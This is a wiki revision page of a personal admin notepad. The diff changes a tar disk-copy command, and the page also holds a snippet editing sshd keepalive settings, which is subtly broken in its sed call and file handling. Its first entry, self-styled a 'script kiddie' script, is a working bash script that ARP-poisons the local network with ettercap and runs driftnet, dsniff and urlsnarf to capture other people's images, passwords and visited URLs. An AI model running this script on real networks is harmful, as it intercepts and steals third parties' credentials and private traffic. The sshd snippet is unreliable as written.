Difference between revisions of "Timsnotepad"

From ENTS
Jump to: navigation, search
Line 23: Line 23:
 
copy an install (boot from livecd) from one HD to another:
 
copy an install (boot from livecd) from one HD to another:
  
  #tar cf - . | (cd /path/to/mountpoint; tar xf -)
+
  #tar cpf - . | (cd /path/to/mountpoint; tar xpf -)
  
  

Revision as of 15:15, 15 February 2014

ettercap, dsniff, driftnet 31337 h4x0r 5k1d script

#!/bin/bash
mkdir ~/capture
mkdir ~/capture/img
ettercap -q -i wlp3s0 -P autoadd -T -M ARP // // &
driftnet -d ~/capture/img/ -s -a &
dsniff -i wlp3s0 &
urlsnarf -i wlp3s0 >> ~/capture/temp &
 (while true; do
  exec 4<~/capture/temp
   while read -u4 p ; do
   echo "$p" | egrep -oh 'http[s]{0,1}://[^[:space:]]+[[:space:]]' >> ~/capture/output
  done
 echo "" > ~/capture/temp &
 sleep 10
 done) &
xterm -e "watch -n1 cat ~/capture/output" &


copy an install (boot from livecd) from one HD to another:

#tar cpf - . | (cd /path/to/mountpoint; tar xpf -)


stop sshd timeouts

# stop sshd timeouts
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.old
sed 's/#*ClientAliveInterval[[:space:]][0-9]*/ClientAliveInterval 30/g' -e 's/#*ClientAliveCountMax[[:space:]][0-9]*/ClientAliveCountMax 4/g' etc/ssh/sshd_config > /etc/ssh/tmp
mv /etc/ssh/tmp /etc/ssh/sshd_config
rm /etc/ssh/tmp

Personal tools
Namespaces

Variants
Actions
Navigation
Members
Toolbox